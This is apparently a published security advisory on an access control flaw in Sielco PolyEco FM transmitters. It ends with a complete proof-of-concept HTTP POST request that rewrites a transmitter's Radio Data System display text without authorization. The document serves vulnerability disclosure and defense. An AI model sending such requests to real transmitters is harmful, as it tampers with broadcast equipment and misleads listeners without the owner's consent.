Sielco PolyEco Digital FM Transmitter 2.0.6 POST Manipulation

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Sielco PolyEco Digital FM Transmitter 2.0.6 Radio Data System POST Manipulation  
  
  
Vendor: Sielco S.r.l  
Product web page: https://www.sielco.org  
Affected version: PolyEco1000 CPU:2.0.6 FPGA:10.19  
PolyEco1000 CPU:1.9.4 FPGA:10.19  
PolyEco1000 CPU:1.9.3 FPGA:10.19  
PolyEco500 CPU:1.7.0 FPGA:10.16  
PolyEco300 CPU:2.0.2 FPGA:10.19  
PolyEco300 CPU:2.0.0 FPGA:10.19  
  
Summary: PolyEco is the innovative family of high-end digital  
FM transmitters of Sielco. They are especially suited as high  
performance power system exciters or compact low-mid power  
transmitters. The same cabinet may in fact be fitted with 50,  
100, 300, 500, 1000W power stage (PolyEco50, 100, 300, 500,  
1000).  
  
All features can be controlled via the large touch-screen display  
4.3" or remotely. Many advanced features are inside by default  
in the basic version such as: stereo and RDS encoder, audio  
change-over, remote-control via LAN and SNMP, "FFT" spectral  
analysis of the audio sources, SFN synchronization and much more.  
  
Desc: Improper access control occurs when the application provides  
direct access to objects based on user-supplied input. As a result  
of this vulnerability attackers can bypass authorization and access  
resources behind protected pages. The application interface allows  
users to perform certain actions via HTTP requests without performing  
any validity checks to verify the requests. This can be exploited  
to perform certain actions and manipulate the RDS text display.  
  
Tested on: lwIP/2.1.1 (http://savannah.nongnu.org/projects/lwip)  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Macedonian Information Security Research and Development Laboratory  
Zero Science Lab - https://www.zeroscience.mk - @zeroscience  
  
  
Advisory ID: ZSL-2023-5767  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5767.php  
  
  
26.01.2023  
  
--  
  
  
POST /protect/rds.htm HTTP/1.1  
Host: RADIOFM  
  
rds_inta=1  
rds_intb=0  
rds_pi=381  
rds_ps=ZSL  
rds_rta=www.zeroscience.mk  
rds_rtb  
rds_rtt=0  
rds_tp=0  
rds_tp=1  
rds_ta=0  
rds_ms=0  
rds_pty=4  
rds_ptyn=   
rds_ecc=00  
rds_ct=0  
rds_level=90  
rds_psd=0  
rds_psd1  
rds_pst1=0  
rds_psd5  
rds_pst5=0  
rds_psd2  
rds_pst2=0  
rds_psd6  
rds_pst6=0  
rds_psd3  
rds_pst3=0  
rds_psd7  
rds_pst7=0  
rds_psd4  
rds_pst4=0  
rds_psd8  
rds_pst8=0  
rds_di_pty=0  
rds_di_cmp=0  
rds_di_cmp=1  
rds_di_st=0  
rds_di_art=0  
rds_di_art=1  
a0=90  
a1=9  
a2=26  
a3=115  
a4=0  
a5=0  
a6=0  
a7=0  
a8=0  
a9=0  
a10=0  
a11=0  
a12=0  
a13=0  
a14=0  
a15=0  
a16=0  
a17=0  
a18=0  
a19=0  
a20=0  
a21=0  
a22=0  
a23=0  
a24=0  
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